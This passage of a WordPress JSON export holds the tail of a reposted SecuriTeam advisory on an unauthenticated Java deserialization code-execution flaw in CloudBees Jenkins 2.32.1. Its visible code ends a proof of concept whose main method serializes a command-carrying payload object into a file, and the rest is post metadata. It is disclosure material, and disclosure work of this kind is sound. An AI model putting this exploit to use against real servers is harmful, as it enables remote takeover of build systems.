class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-154\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-155\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-156\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-157\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">DummyComperator <\/span><span class=\"crayon-r\">implements<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Comparator<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Serializable<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-158\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-159\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">compare<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">arg0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">arg1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-160\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ TODO Auto-generated method stub<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-161\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-162\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-163\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-164\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">private<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">writeReplace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">throws<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ObjectStreamException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-165\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-166\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-167\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-168\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-169\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-170\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">throws<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Exception<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-171\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-172\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">length<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-173\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">System<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">println<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;java -jar payload.jar outfile cmd&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-174\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">System<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-175\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-176\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-177\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-178\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">FileOutputStream <\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">FileOutputStream<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-179\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-180\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Payload <\/span><span class=\"crayon-v\">pwn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-181\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ObjectOutputStream <\/span><span class=\"crayon-v\">oos<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ObjectOutputStream<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-182\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">oos<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">writeObject<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pwn<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-183\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">oos<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">flush<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-184\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">flush<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-185\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-186\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-187\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-188\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-189\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0408 seconds] -->  <\/p>\n<\/p><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3171\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins1-300x96.jpg\"\/><\/p>\n<p><strong>Credit to Author: Maor Schwartz| Date: Mon, 01 May 2017 06:28:11 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describes Java deserialization vulnerability found in CloudBees Jenkins version 2.32.1 that leads to a Remote Code Execution. Jenkins helps to automate the non-human part of the whole software development process with now common things like continuous integration and by empowering teams to implement the technical aspects of continuous delivery. It &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3171\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory &#8211; CloudBees Jenkins Unauthenticated Code Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[12123,11682,10757],"class_list":["post-7498","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-deserialization-of-untrusted-data","tag-remote-code-execution","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7498","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=7498"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7498\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=7498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=7498"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=7498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}